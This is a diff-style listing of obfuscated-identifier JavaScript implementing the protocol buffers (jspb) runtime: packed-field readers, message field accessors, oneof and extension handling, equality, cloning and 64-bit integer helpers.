- _0x26b2ed.prototype.readPackedFixed32 = _0x26b2ed.prototype.bc;
- _0x26b2ed.prototype.cc = function () {
- return _0x1f7289(this, this.a.ga);
- };
- _0x26b2ed.prototype.readPackedFixed64 = _0x26b2ed.prototype.cc;
- _0x26b2ed.prototype.dc = function () {
- return _0x1f7289(this, this.a.ha);
- };
- _0x26b2ed.prototype.readPackedFixed64String = _0x26b2ed.prototype.dc;
- _0x26b2ed.prototype.kc = function () {
- return _0x1f7289(this, this.a.P);
- };
- _0x26b2ed.prototype.readPackedSfixed32 = _0x26b2ed.prototype.kc;
- _0x26b2ed.prototype.lc = function () {
- return _0x1f7289(this, this.a.ba);
- };
- _0x26b2ed.prototype.readPackedSfixed64 = _0x26b2ed.prototype.lc;
- _0x26b2ed.prototype.mc = function () {
- return _0x1f7289(this, this.a.ca);
- };
- _0x26b2ed.prototype.readPackedSfixed64String = _0x26b2ed.prototype.mc;
- _0x26b2ed.prototype.fc = function () {
- return _0x1f7289(this, this.a.aa);
- };
- _0x26b2ed.prototype.readPackedFloat = _0x26b2ed.prototype.fc;
- _0x26b2ed.prototype.$b = function () {
- return _0x1f7289(this, this.a.Z);
- };
- _0x26b2ed.prototype.readPackedDouble = _0x26b2ed.prototype.$b;
- _0x26b2ed.prototype.Zb = function () {
- return _0x1f7289(this, this.a.pa);
- };
- _0x26b2ed.prototype.readPackedBool = _0x26b2ed.prototype.Zb;
- _0x26b2ed.prototype.ac = function () {
- return _0x1f7289(this, this.a.ra);
- };
- _0x26b2ed.prototype.readPackedEnum = _0x26b2ed.prototype.ac;
- _0x26b2ed.prototype.uc = function () {
- return _0x1f7289(this, this.a.ia);
- };
- _0x26b2ed.prototype.readPackedVarintHash64 = _0x26b2ed.prototype.uc;
- _0x26b2ed.prototype.ec = function () {
- return _0x1f7289(this, this.a.$);
- };
- _0x26b2ed.prototype.readPackedFixedHash64 = _0x26b2ed.prototype.ec;
- _0x4851be("jspb.ExtensionFieldInfo", _0x5a8c5c, undefined);
- _0x4851be("jspb.ExtensionFieldBinaryInfo", _0x249ec9, undefined);
- _0x5a8c5c.prototype.F = function () {
- return !!this.la;
- };
- _0x5a8c5c.prototype.isMessageType = _0x5a8c5c.prototype.F;
- _0x4851be("jspb.Message", _0x1c56aa, undefined);
- _0x1c56aa.GENERATE_TO_OBJECT = true;
- _0x1c56aa.GENERATE_FROM_OBJECT = true;
- var _0x6537bb = "function" == typeof Uint8Array;
- _0x1c56aa.prototype.Ib = function () {
- return this.b;
- };
- _0x1c56aa.prototype.getJsPbMessageId = _0x1c56aa.prototype.Ib;
- _0x1c56aa.initialize = function (_0x1c2edb, _0x589442, _0x1101b9, _0xba9c7, _0x3c0a54, _0x5a2b9a) {
- if (_0x1c2edb.f = null, _0x589442 || (_0x589442 = _0x1101b9 ? [_0x1101b9] : []), _0x1c2edb.b = _0x1101b9 ? String(_0x1101b9) : undefined, _0x1c2edb.D = 0 === _0x1101b9 ? -1 : 0, _0x1c2edb.u = _0x589442, _0x589442 = -1, !(_0x1101b9 = _0x1c2edb.u.length) || (_0x589442 = _0x1101b9 - 1, null === (_0x1101b9 = _0x1c2edb.u[_0x589442]) || "object" != typeof _0x1101b9 || Array.isArray(_0x1101b9) || _0x6537bb && _0x1101b9 instanceof Uint8Array) ? -1 < _0xba9c7 ? (_0x1c2edb.G = Math.max(_0xba9c7, _0x589442 + 1 - _0x1c2edb.D), _0x1c2edb.i = null) : _0x1c2edb.G = Number.MAX_VALUE : (_0x1c2edb.G = _0x589442 - _0x1c2edb.D, _0x1c2edb.i = _0x1101b9), _0x1c2edb.a = {}, _0x3c0a54) {
- for (_0xba9c7 = 0; _0xba9c7 < _0x3c0a54.length; _0xba9c7++) {
- (_0x589442 = _0x3c0a54[_0xba9c7]) < _0x1c2edb.G ? (_0x589442 += _0x1c2edb.D, _0x1c2edb.u[_0x589442] = _0x1c2edb.u[_0x589442] || _0x32af7c) : (_0x2a5751(_0x1c2edb), _0x1c2edb.i[_0x589442] = _0x1c2edb.i[_0x589442] || _0x32af7c);
- }
- }
- if (_0x5a2b9a && _0x5a2b9a.length) {
- for (_0xba9c7 = 0; _0xba9c7 < _0x5a2b9a.length; _0xba9c7++) {
- _0x122f92(_0x1c2edb, _0x5a2b9a[_0xba9c7]);
- }
- }
- };
- var _0x32af7c = Object.freeze ? Object.freeze([]) : [];
- function _0x2a5751(_0x2a0eef) {
- var _0x3ba38f = _0x2a0eef.G + _0x2a0eef.D;
- _0x2a0eef.u[_0x3ba38f] || (_0x2a0eef.i = _0x2a0eef.u[_0x3ba38f] = {});
- }
- function _0x382ae6(_0x6a402e, _0x38ea05, _0x5312cd) {
- for (var _0x518c21 = [], _0x56e495 = 0; _0x56e495 < _0x6a402e.length; _0x56e495++) {
- _0x518c21[_0x56e495] = _0x38ea05.call(_0x6a402e[_0x56e495], _0x5312cd, _0x6a402e[_0x56e495]);
- }
- return _0x518c21;
- }
- function _0xd62b0e(_0x5edc4a, _0x4e1792) {
- if (_0x4e1792 < _0x5edc4a.G) {
- _0x4e1792 += _0x5edc4a.D;
- var _0xea76df = _0x5edc4a.u[_0x4e1792];
- return _0xea76df === _0x32af7c ? _0x5edc4a.u[_0x4e1792] = [] : _0xea76df;
- }
- if (_0x5edc4a.i) {
- return (_0xea76df = _0x5edc4a.i[_0x4e1792]) === _0x32af7c ? _0x5edc4a.i[_0x4e1792] = [] : _0xea76df;
- }
- }
- function _0x31d48c(_0x6a09a4, _0x301b25) {
- return null == (_0x6a09a4 = _0xd62b0e(_0x6a09a4, _0x301b25)) ? _0x6a09a4 : +_0x6a09a4;
- }
- function _0x2c0fb6(_0x2ab518, _0x2a712c) {
- return null == (_0x2ab518 = _0xd62b0e(_0x2ab518, _0x2a712c)) ? _0x2ab518 : !!_0x2ab518;
- }
- function _0x865b94(_0x22d71a) {
- return null == _0x22d71a || "string" == typeof _0x22d71a ? _0x22d71a : _0x6537bb && _0x22d71a instanceof Uint8Array ? _0x564018(_0x22d71a) : (_0x2e10b2("Cannot coerce to b64 string: " + _0xd2c509(_0x22d71a)), null);
- }
- function _0x44b6f0(_0x3560ec) {
- return null == _0x3560ec || _0x3560ec instanceof Uint8Array ? _0x3560ec : "string" == typeof _0x3560ec ? _0x374054(_0x3560ec) : (_0x2e10b2("Cannot coerce to Uint8Array: " + _0xd2c509(_0x3560ec)), null);
- }
- function _0x3bd16b(_0x35a2a1) {
- if (_0x35a2a1 && 1 < _0x35a2a1.length) {
- var _0x410c82 = _0xd2c509(_0x35a2a1[0]);
- _0x3140f5(_0x35a2a1, function (_0x2d014e) {
- _0xd2c509(_0x2d014e) != _0x410c82 && _0x2e10b2("Inconsistent type in JSPB repeated field array. Got " + _0xd2c509(_0x2d014e) + " expected " + _0x410c82);
- });
- }
- }
- function _0x2ac841(_0x53a4ec, _0x5287ce, _0x1041c0) {
- return null == (_0x53a4ec = _0xd62b0e(_0x53a4ec, _0x5287ce)) ? _0x1041c0 : _0x53a4ec;
- }
- function _0x10014d(_0x2ef041, _0x55b9aa, _0x402986) {
- _0x4c857b(_0x2ef041, _0x1c56aa);
- _0x55b9aa < _0x2ef041.G ? _0x2ef041.u[_0x55b9aa + _0x2ef041.D] = _0x402986 : (_0x2a5751(_0x2ef041), _0x2ef041.i[_0x55b9aa] = _0x402986);
- return _0x2ef041;
- }
- function _0x1ee8f5(_0x3c85ff, _0x4abc28, _0x37a3e7, _0x360c76) {
- _0x4c857b(_0x3c85ff, _0x1c56aa);
- _0x37a3e7 !== _0x360c76 ? _0x10014d(_0x3c85ff, _0x4abc28, _0x37a3e7) : _0x4abc28 < _0x3c85ff.G ? _0x3c85ff.u[_0x4abc28 + _0x3c85ff.D] = null : (_0x2a5751(_0x3c85ff), delete _0x3c85ff.i[_0x4abc28]);
- return _0x3c85ff;
- }
- function _0xa36801(_0x5c5d3d, _0x4b5f98, _0x1a1081, _0x5548c8) {
- _0x4c857b(_0x5c5d3d, _0x1c56aa);
- (_0x1a1081 = _0x122f92(_0x5c5d3d, _0x1a1081)) && _0x1a1081 !== _0x4b5f98 && undefined !== _0x5548c8 && (_0x5c5d3d.f && _0x1a1081 in _0x5c5d3d.f && (_0x5c5d3d.f[_0x1a1081] = undefined), _0x10014d(_0x5c5d3d, _0x1a1081, undefined));
- return _0x10014d(_0x5c5d3d, _0x4b5f98, _0x5548c8);
- }
- function _0x122f92(_0x2ce24a, _0x3152a4) {
- for (var _0x25d683, _0x28a0f4, _0x5a77c5 = 0; _0x5a77c5 < _0x3152a4.length; _0x5a77c5++) {
- var _0x264836 = _0x3152a4[_0x5a77c5];
- var _0x8b5a73 = _0xd62b0e(_0x2ce24a, _0x264836);
- null != _0x8b5a73 && (_0x25d683 = _0x264836, _0x28a0f4 = _0x8b5a73, _0x10014d(_0x2ce24a, _0x264836, undefined));
- }
- return _0x25d683 ? (_0x10014d(_0x2ce24a, _0x25d683, _0x28a0f4), _0x25d683) : 0;
- }
- function _0x58d625(_0x20e052, _0x498697, _0x250f80) {
- if (_0x20e052.f || (_0x20e052.f = {}), !_0x20e052.f[_0x250f80]) {
- for (var _0x5d7201 = _0xd62b0e(_0x20e052, _0x250f80), _0x3b33de = [], _0x222144 = 0; _0x222144 < _0x5d7201.length; _0x222144++) {
- _0x3b33de[_0x222144] = new _0x498697(_0x5d7201[_0x222144]);
- }
- _0x20e052.f[_0x250f80] = _0x3b33de;
- }
- }
- function _0x39c5ad(_0x3d1d0b) {
- if (_0x3d1d0b.f) {
- for (var _0x2d29aa in _0x3d1d0b.f) {
- var _0x3c3859 = _0x3d1d0b.f[_0x2d29aa];
- if (Array.isArray(_0x3c3859)) {
- for (var _0x326bc8 = 0; _0x326bc8 < _0x3c3859.length; _0x326bc8++) {
- _0x3c3859[_0x326bc8] && _0x3c3859[_0x326bc8].g();
- }
- } else {
- _0x3c3859 && _0x3c3859.g();
- }
- }
- }
- }
- function _0x1d0b33(_0x28bdd6, _0x5a54b0) {
- _0x28bdd6 = _0x28bdd6 || {};
- _0x5a54b0 = _0x5a54b0 || {};
- var _0x423747;
- var _0x34e9d0 = {};
- for (_0x423747 in _0x28bdd6) _0x34e9d0[_0x423747] = 0;
- for (_0x423747 in _0x5a54b0) _0x34e9d0[_0x423747] = 0;
- for (_0x423747 in _0x34e9d0) if (!_0x207220(_0x28bdd6[_0x423747], _0x5a54b0[_0x423747])) {
- return false;
- }
- return true;
- }
- function _0x207220(_0xde3eb0, _0x1a71c2) {
- if (_0xde3eb0 == _0x1a71c2) {
- return true;
- }
- if (!_0x9a5ce6(_0xde3eb0) || !_0x9a5ce6(_0x1a71c2)) {
- return !!("number" == typeof _0xde3eb0 && isNaN(_0xde3eb0) || "number" == typeof _0x1a71c2 && isNaN(_0x1a71c2)) && String(_0xde3eb0) == String(_0x1a71c2);
- }
- if (_0xde3eb0.constructor != _0x1a71c2.constructor) {
- return false;
- }
- if (_0x6537bb && _0xde3eb0.constructor === Uint8Array) {
- if (_0xde3eb0.length != _0x1a71c2.length) {
- return false;
- }
- for (var _0x296937 = 0; _0x296937 < _0xde3eb0.length; _0x296937++) {
- if (_0xde3eb0[_0x296937] != _0x1a71c2[_0x296937]) {
- return false;
- }
- }
- return true;
- }
- if (_0xde3eb0.constructor === Array) {
- var _0x5dd2c4 = undefined;
- var _0x387715 = undefined;
- var _0x24ab83 = Math.max(_0xde3eb0.length, _0x1a71c2.length);
- for (_0x296937 = 0; _0x296937 < _0x24ab83; _0x296937++) {
- var _0x4f9f6f = _0xde3eb0[_0x296937];
- var _0x2646bb = _0x1a71c2[_0x296937];
- if (_0x4f9f6f && _0x4f9f6f.constructor == Object && (_0x53e92a(undefined === _0x5dd2c4), _0x53e92a(_0x296937 === _0xde3eb0.length - 1), _0x5dd2c4 = _0x4f9f6f, _0x4f9f6f = undefined), _0x2646bb && _0x2646bb.constructor == Object && (_0x53e92a(undefined === _0x387715), _0x53e92a(_0x296937 === _0x1a71c2.length - 1), _0x387715 = _0x2646bb, _0x2646bb = undefined), !_0x207220(_0x4f9f6f, _0x2646bb)) {
- return false;
- }
- }
- return !_0x5dd2c4 && !_0x387715 || _0x1d0b33(_0x5dd2c4 = _0x5dd2c4 || {}, _0x387715 = _0x387715 || {});
- }
- if (_0xde3eb0.constructor === Object) {
- return _0x1d0b33(_0xde3eb0, _0x1a71c2);
- }
- throw Error("Invalid type in JSPB array");
- }
- function _0x29a95f(_0x2e8220) {
- return new _0x2e8220.constructor(_0x3b98e4(_0x2e8220.g()));
- }
- function _0x3b98e4(_0x77d87d) {
- if (Array.isArray(_0x77d87d)) {
- for (var _0x5659b4 = Array(_0x77d87d.length), _0x33dcaf = 0; _0x33dcaf < _0x77d87d.length; _0x33dcaf++) {
- var _0x380d81 = _0x77d87d[_0x33dcaf];
- null != _0x380d81 && (_0x5659b4[_0x33dcaf] = "object" == typeof _0x380d81 ? _0x3b98e4(_0x53e92a(_0x380d81)) : _0x380d81);
- }
- return _0x5659b4;
- }
- if (_0x6537bb && _0x77d87d instanceof Uint8Array) {
- return new Uint8Array(_0x77d87d);
- }
- for (_0x33dcaf in _0x5659b4 = {}, _0x77d87d) null != (_0x380d81 = _0x77d87d[_0x33dcaf]) && (_0x5659b4[_0x33dcaf] = "object" == typeof _0x380d81 ? _0x3b98e4(_0x53e92a(_0x380d81)) : _0x380d81);
- return _0x5659b4;
- }
- _0x1c56aa.toObjectList = _0x382ae6;
- _0x1c56aa.toObjectExtension = function (_0xc2f356, _0xe325a4, _0x1df48a, _0x576888, _0x4e6188) {
- for (var _0x1dfa0c in _0x1df48a) {
- var _0x3c1e89 = _0x1df48a[_0x1dfa0c];
- var _0x5723a2 = _0x576888.call(_0xc2f356, _0x3c1e89);
- if (null != _0x5723a2) {
- for (var _0x218a9d in _0x3c1e89.Ba) if (_0x3c1e89.Ba.hasOwnProperty(_0x218a9d)) {
- break;
- }
- _0xe325a4[_0x218a9d] = _0x3c1e89.Na ? _0x3c1e89.na ? _0x382ae6(_0x5723a2, _0x3c1e89.Na, _0x4e6188) : _0x3c1e89.Na(_0x4e6188, _0x5723a2) : _0x5723a2;
- }
- }
- };
- _0x1c56aa.serializeBinaryExtensions = function (_0x2b5aae, _0x3288f6, _0x371841, _0x5cc969) {
- for (var _0x28689d in _0x371841) {
- var _0x5ccaff = _0x371841[_0x28689d];
- var _0x55153a = _0x5ccaff.Za;
- if (!_0x5ccaff.Aa) {
- throw Error("Message extension present that was generated without binary serialization support");
- }
- var _0x3235c9 = _0x5cc969.call(_0x2b5aae, _0x55153a);
- if (null != _0x3235c9) {
- if (_0x55153a.F()) {
- if (!_0x5ccaff.Wa) {
- throw Error("Message extension present holding submessage without binary support enabled, and message is being serialized to binary format");
- }
- _0x5ccaff.Aa.call(_0x3288f6, _0x55153a.ma, _0x3235c9, _0x5ccaff.Wa);
- } else {
- _0x5ccaff.Aa.call(_0x3288f6, _0x55153a.ma, _0x3235c9);
- }
- }
- }
- };
- _0x1c56aa.readBinaryExtension = function (_0x3d4700, _0x439c1c, _0x3be89a, _0x105a60, _0x4ed6eb) {
- var _0x1461ff = _0x3be89a[_0x439c1c.c];
- if (_0x1461ff) {
- if (_0x3be89a = _0x1461ff.Za, !_0x1461ff.za) {
- throw Error("Deserializing extension whose generated code does not support binary format");
- }
- if (_0x3be89a.F()) {
- var _0x1327c3 = new _0x3be89a.la();
- _0x1461ff.za.call(_0x439c1c, _0x1327c3, _0x1461ff.Ab);
- } else {
- _0x1327c3 = _0x1461ff.za.call(_0x439c1c);
- }
- _0x3be89a.na && !_0x1461ff.Nb ? (_0x439c1c = _0x105a60.call(_0x3d4700, _0x3be89a)) ? _0x439c1c.push(_0x1327c3) : _0x4ed6eb.call(_0x3d4700, _0x3be89a, [_0x1327c3]) : _0x4ed6eb.call(_0x3d4700, _0x3be89a, _0x1327c3);
- } else {
- _0x439c1c.C();
- }
- };
- _0x1c56aa.getField = _0xd62b0e;
- _0x1c56aa.getRepeatedField = function (_0x41694e, _0x5cdcc6) {
- return _0xd62b0e(_0x41694e, _0x5cdcc6);
- };
- _0x1c56aa.getOptionalFloatingPointField = _0x31d48c;
- _0x1c56aa.getBooleanField = _0x2c0fb6;
- _0x1c56aa.getRepeatedFloatingPointField = function (_0x5d1d9f, _0x2597d5) {
- var _0x540bec = _0xd62b0e(_0x5d1d9f, _0x2597d5);
- if (_0x5d1d9f.a || (_0x5d1d9f.a = {}), !_0x5d1d9f.a[_0x2597d5]) {
- for (var _0x4d6977 = 0; _0x4d6977 < _0x540bec.length; _0x4d6977++) {
- _0x540bec[_0x4d6977] = +_0x540bec[_0x4d6977];
- }
- _0x5d1d9f.a[_0x2597d5] = true;
- }
- return _0x540bec;
- };
- _0x1c56aa.getRepeatedBooleanField = function (_0x3c2d4e, _0x2fd248) {
- var _0x465c4a = _0xd62b0e(_0x3c2d4e, _0x2fd248);
- if (_0x3c2d4e.a || (_0x3c2d4e.a = {}), !_0x3c2d4e.a[_0x2fd248]) {
- for (var _0x14ba2a = 0; _0x14ba2a < _0x465c4a.length; _0x14ba2a++) {
- _0x465c4a[_0x14ba2a] = !!_0x465c4a[_0x14ba2a];
- }
- _0x3c2d4e.a[_0x2fd248] = true;
- }
- return _0x465c4a;
- };
- _0x1c56aa.bytesAsB64 = _0x865b94;
- _0x1c56aa.bytesAsU8 = _0x44b6f0;
- _0x1c56aa.bytesListAsB64 = function (_0x2d7704) {
- _0x3bd16b(_0x2d7704);
- return _0x2d7704.length && "string" != typeof _0x2d7704[0] ? _0x478a93(_0x2d7704, _0x865b94) : _0x2d7704;
- };
- _0x1c56aa.bytesListAsU8 = function (_0x539992) {
- _0x3bd16b(_0x539992);
- return !_0x539992.length || _0x539992[0] instanceof Uint8Array ? _0x539992 : _0x478a93(_0x539992, _0x44b6f0);
- };
- _0x1c56aa.getFieldWithDefault = _0x2ac841;
- _0x1c56aa.getBooleanFieldWithDefault = function (_0x3eaf4c, _0x4fef1a, _0x4be783) {
- return null == (_0x3eaf4c = _0x2c0fb6(_0x3eaf4c, _0x4fef1a)) ? _0x4be783 : _0x3eaf4c;
- };
- _0x1c56aa.getFloatingPointFieldWithDefault = function (_0x261c45, _0x138244, _0x1b75e8) {
- return null == (_0x261c45 = _0x31d48c(_0x261c45, _0x138244)) ? _0x1b75e8 : _0x261c45;
- };
- _0x1c56aa.getFieldProto3 = _0x2ac841;
- _0x1c56aa.getMapField = function (_0x5179ee, _0x20c3eb, _0x27bd6e, _0x3e1281) {
- if (_0x5179ee.f || (_0x5179ee.f = {}), _0x20c3eb in _0x5179ee.f) {
- return _0x5179ee.f[_0x20c3eb];
- }
- var _0x296739 = _0xd62b0e(_0x5179ee, _0x20c3eb);
- if (!_0x296739) {
- if (_0x27bd6e) {
- return;
- }
- _0x10014d(_0x5179ee, _0x20c3eb, _0x296739 = []);
- }
- return _0x5179ee.f[_0x20c3eb] = new _0x31e943(_0x296739, _0x3e1281);
- };
- _0x1c56aa.setField = _0x10014d;
- _0x1c56aa.setProto3IntField = function (_0x413c28, _0xa9cc1, _0x5cef42) {
- return _0x1ee8f5(_0x413c28, _0xa9cc1, _0x5cef42, 0);
- };
- _0x1c56aa.setProto3FloatField = function (_0x21bb80, _0x46b3e9, _0x132999) {
- return _0x1ee8f5(_0x21bb80, _0x46b3e9, _0x132999, 0);
- };
- _0x1c56aa.setProto3BooleanField = function (_0x165019, _0x5aa0f2, _0x433337) {
- return _0x1ee8f5(_0x165019, _0x5aa0f2, _0x433337, false);
- };
- _0x1c56aa.setProto3StringField = function (_0x428be4, _0x26a6fa, _0x35c820) {
- return _0x1ee8f5(_0x428be4, _0x26a6fa, _0x35c820, "");
- };
- _0x1c56aa.setProto3BytesField = function (_0x13aee9, _0x55ce8f, _0x576689) {
- return _0x1ee8f5(_0x13aee9, _0x55ce8f, _0x576689, "");
- };
- _0x1c56aa.setProto3EnumField = function (_0x3d4082, _0x46fdb9, _0x11827f) {
- return _0x1ee8f5(_0x3d4082, _0x46fdb9, _0x11827f, 0);
- };
- _0x1c56aa.setProto3StringIntField = function (_0xe2d309, _0x424a6e, _0x11c342) {
- return _0x1ee8f5(_0xe2d309, _0x424a6e, _0x11c342, "0");
- };
- _0x1c56aa.addToRepeatedField = function (_0x26910b, _0x7aaa23, _0x1520e, _0x235a28) {
- _0x4c857b(_0x26910b, _0x1c56aa);
- _0x7aaa23 = _0xd62b0e(_0x26910b, _0x7aaa23);
- null != _0x235a28 ? _0x7aaa23.splice(_0x235a28, 0, _0x1520e) : _0x7aaa23.push(_0x1520e);
- return _0x26910b;
- };
- _0x1c56aa.setOneofField = _0xa36801;
- _0x1c56aa.computeOneofCase = _0x122f92;
- _0x1c56aa.getWrapperField = function (_0xf06a7d, _0x57d57f, _0x26b5b3, _0x159e97) {
- if (_0xf06a7d.f || (_0xf06a7d.f = {}), !_0xf06a7d.f[_0x26b5b3]) {
- var _0x3d35eb = _0xd62b0e(_0xf06a7d, _0x26b5b3);
- (_0x159e97 || _0x3d35eb) && (_0xf06a7d.f[_0x26b5b3] = new _0x57d57f(_0x3d35eb));
- }
- return _0xf06a7d.f[_0x26b5b3];
- };
- _0x1c56aa.getRepeatedWrapperField = function (_0x5d3446, _0x5080eb, _0x5b0fb7) {
- _0x58d625(_0x5d3446, _0x5080eb, _0x5b0fb7);
- (_0x5080eb = _0x5d3446.f[_0x5b0fb7]) == _0x32af7c && (_0x5080eb = _0x5d3446.f[_0x5b0fb7] = []);
- return _0x5080eb;
- };
- _0x1c56aa.setWrapperField = function (_0x3280ba, _0x1088cc, _0x24442f) {
- _0x4c857b(_0x3280ba, _0x1c56aa);
- _0x3280ba.f || (_0x3280ba.f = {});
- var _0x4f1ebd = _0x24442f ? _0x24442f.g() : _0x24442f;
- _0x3280ba.f[_0x1088cc] = _0x24442f;
- return _0x10014d(_0x3280ba, _0x1088cc, _0x4f1ebd);
- };
- _0x1c56aa.setOneofWrapperField = function (_0x2f9e23, _0x56acd2, _0x45850a, _0xb0576) {
- _0x4c857b(_0x2f9e23, _0x1c56aa);
- _0x2f9e23.f || (_0x2f9e23.f = {});
- var _0x437006 = _0xb0576 ? _0xb0576.g() : _0xb0576;
- _0x2f9e23.f[_0x56acd2] = _0xb0576;
- return _0xa36801(_0x2f9e23, _0x56acd2, _0x45850a, _0x437006);
- };
- _0x1c56aa.setRepeatedWrapperField = function (_0x4955ab, _0x233186, _0x2e13f7) {
- _0x4c857b(_0x4955ab, _0x1c56aa);
- _0x4955ab.f || (_0x4955ab.f = {});
- _0x2e13f7 = _0x2e13f7 || [];
- for (var _0x374779 = [], _0x352fbe = 0; _0x352fbe < _0x2e13f7.length; _0x352fbe++) {
- _0x374779[_0x352fbe] = _0x2e13f7[_0x352fbe].g();
- }
- _0x4955ab.f[_0x233186] = _0x2e13f7;
- return _0x10014d(_0x4955ab, _0x233186, _0x374779);
- };
- _0x1c56aa.addToRepeatedWrapperField = function (_0x24974a, _0x5ec34f, _0x5c5ffe, _0x7204db, _0x27149f) {
- _0x58d625(_0x24974a, _0x7204db, _0x5ec34f);
- var _0x4bb992 = _0x24974a.f[_0x5ec34f];
- _0x4bb992 || (_0x4bb992 = _0x24974a.f[_0x5ec34f] = []);
- _0x5c5ffe = _0x5c5ffe || new _0x7204db();
- _0x24974a = _0xd62b0e(_0x24974a, _0x5ec34f);
- null != _0x27149f ? (_0x4bb992.splice(_0x27149f, 0, _0x5c5ffe), _0x24974a.splice(_0x27149f, 0, _0x5c5ffe.g())) : (_0x4bb992.push(_0x5c5ffe), _0x24974a.push(_0x5c5ffe.g()));
- return _0x5c5ffe;
- };
- _0x1c56aa.toMap = function (_0x27a4bd, _0x105892, _0x76e7f4, _0x403414) {
- for (var _0x4d45b5 = {}, _0x1906b6 = 0; _0x1906b6 < _0x27a4bd.length; _0x1906b6++) {
- _0x4d45b5[_0x105892.call(_0x27a4bd[_0x1906b6])] = _0x76e7f4 ? _0x76e7f4.call(_0x27a4bd[_0x1906b6], _0x403414, _0x27a4bd[_0x1906b6]) : _0x27a4bd[_0x1906b6];
- }
- return _0x4d45b5;
- };
- _0x1c56aa.prototype.g = function () {
- _0x39c5ad(this);
- return this.u;
- };
- _0x1c56aa.prototype.toArray = _0x1c56aa.prototype.g;
- _0x1c56aa.prototype.toString = function () {
- _0x39c5ad(this);
- return this.u.toString();
- };
- _0x1c56aa.prototype.getExtension = function (_0x95eccd) {
- if (this.i) {
- this.f || (this.f = {});
- var _0x54cb9b = _0x95eccd.ma;
- if (_0x95eccd.na) {
- if (_0x95eccd.F()) {
- this.f[_0x54cb9b] || (this.f[_0x54cb9b] = _0x478a93(this.i[_0x54cb9b] || [], function (_0x527a91) {
- return new _0x95eccd.la(_0x527a91);
- }));
- return this.f[_0x54cb9b];
- }
- } else {
- if (_0x95eccd.F()) {
- !this.f[_0x54cb9b] && this.i[_0x54cb9b] && (this.f[_0x54cb9b] = new _0x95eccd.la(this.i[_0x54cb9b]));
- return this.f[_0x54cb9b];
- }
- }
- return this.i[_0x54cb9b];
- }
- };
- _0x1c56aa.prototype.getExtension = _0x1c56aa.prototype.getExtension;
- _0x1c56aa.prototype.Kc = function (_0x41d63d, _0x1ef758) {
- this.f || (this.f = {});
- _0x2a5751(this);
- var _0x192e91 = _0x41d63d.ma;
- _0x41d63d.na ? (_0x1ef758 = _0x1ef758 || [], _0x41d63d.F() ? (this.f[_0x192e91] = _0x1ef758, this.i[_0x192e91] = _0x478a93(_0x1ef758, function (_0x4556fe) {
- return _0x4556fe.g();
- })) : this.i[_0x192e91] = _0x1ef758) : _0x41d63d.F() ? (this.f[_0x192e91] = _0x1ef758, this.i[_0x192e91] = _0x1ef758 ? _0x1ef758.g() : _0x1ef758) : this.i[_0x192e91] = _0x1ef758;
- return this;
- };
- _0x1c56aa.prototype.setExtension = _0x1c56aa.prototype.Kc;
- _0x1c56aa.difference = function (_0x205f83, _0x3eff25) {
- if (!(_0x205f83 instanceof _0x3eff25.constructor)) {
- throw Error("Messages have different types.");
- }
- var _0x1baa3d = _0x205f83.g();
- _0x3eff25 = _0x3eff25.g();
- var _0xc1bd96 = [];
- var _0x1ac668 = 0;
- var _0x46ddb5 = _0x1baa3d.length > _0x3eff25.length ? _0x1baa3d.length : _0x3eff25.length;
- for (_0x205f83.b && (_0xc1bd96[0] = _0x205f83.b, _0x1ac668 = 1); _0x1ac668 < _0x46ddb5; _0x1ac668++) {
- _0x207220(_0x1baa3d[_0x1ac668], _0x3eff25[_0x1ac668]) || (_0xc1bd96[_0x1ac668] = _0x3eff25[_0x1ac668]);
- }
- return new _0x205f83.constructor(_0xc1bd96);
- };
- _0x1c56aa.equals = function (_0x1b946c, _0x3290ab) {
- return _0x1b946c == _0x3290ab || !(!_0x1b946c || !_0x3290ab) && _0x1b946c instanceof _0x3290ab.constructor && _0x207220(_0x1b946c.g(), _0x3290ab.g());
- };
- _0x1c56aa.compareExtensions = _0x1d0b33;
- _0x1c56aa.compareFields = _0x207220;
- _0x1c56aa.prototype.Bb = function () {
- return _0x29a95f(this);
- };
- _0x1c56aa.prototype.cloneMessage = _0x1c56aa.prototype.Bb;
- _0x1c56aa.prototype.clone = function () {
- return _0x29a95f(this);
- };
- _0x1c56aa.prototype.clone = _0x1c56aa.prototype.clone;
- _0x1c56aa.clone = function (_0x3fe39d) {
- return _0x29a95f(_0x3fe39d);
- };
- _0x1c56aa.copyInto = function (_0x1e3d46, _0x2b99b5) {
- _0x4c857b(_0x1e3d46, _0x1c56aa);
- _0x4c857b(_0x2b99b5, _0x1c56aa);
- _0x53e92a(_0x1e3d46.constructor == _0x2b99b5.constructor, "Copy source and target message should have the same type.");
- _0x1e3d46 = _0x29a95f(_0x1e3d46);
- for (var _0x1f9159 = _0x2b99b5.g(), _0x24ef4f = _0x1e3d46.g(), _0x30037e = _0x1f9159.length = 0; _0x30037e < _0x24ef4f.length; _0x30037e++) {
- _0x1f9159[_0x30037e] = _0x24ef4f[_0x30037e];
- }
- _0x2b99b5.f = _0x1e3d46.f;
- _0x2b99b5.i = _0x1e3d46.i;
- };
- _0x1c56aa.registerMessageType = function (_0x953618, _0x4185e7) {
- _0x4185e7.we = _0x953618;
- };
- var _0x352ef2 = {
- dump: function (_0x350bbe) {
- _0x4c857b(_0x350bbe, _0x1c56aa, "jspb.Message instance expected");
- _0x53e92a(_0x350bbe.getExtension, "Only unobfuscated and unoptimized compilation modes supported.");
- return _0x352ef2.X(_0x350bbe);
- }
- };
- function _0x2893fa() {
- this.a = [];
- }
- function _0x3098ff(_0x553fbe, _0x4466f5) {
- this.lo = _0x553fbe;
- this.hi = _0x4466f5;
- }
- function _0x304bb9(_0x4bf0ca, _0x36c379) {
- var _0x21d665 = 65535 & _0x4bf0ca;
- var _0x215345 = 65535 & _0x36c379;
- var _0x4c209b = _0x36c379 >>> 16;
- for (_0x36c379 = _0x21d665 * _0x215345 + 65536 * (_0x21d665 * _0x4c209b & 65535) + 65536 * ((_0x4bf0ca >>>= 16) * _0x215345 & 65535), _0x21d665 = _0x4bf0ca * _0x4c209b + (_0x21d665 * _0x4c209b >>> 16) + (_0x4bf0ca * _0x215345 >>> 16); 4294967296 <= _0x36c379;) {
- _0x36c379 -= 4294967296;
- _0x21d665 += 1;
- }
- return new _0x3098ff(_0x36c379 >>> 0, _0x21d665 >>> 0);
- }
- function _0x5b0b36(_0x5dd8a4) {
- for (var _0x3b1162 = new _0x3098ff(0, 0), _0x3f5a41 = new _0x3098ff(0, 0), _0x495a7c = 0; _0x495a7c < _0x5dd8a4.length; _0x495a7c++) {
- if ("0" > _0x5dd8a4[_0x495a7c] || "9" < _0x5dd8a4[_0x495a7c]) {
- return null;
- }
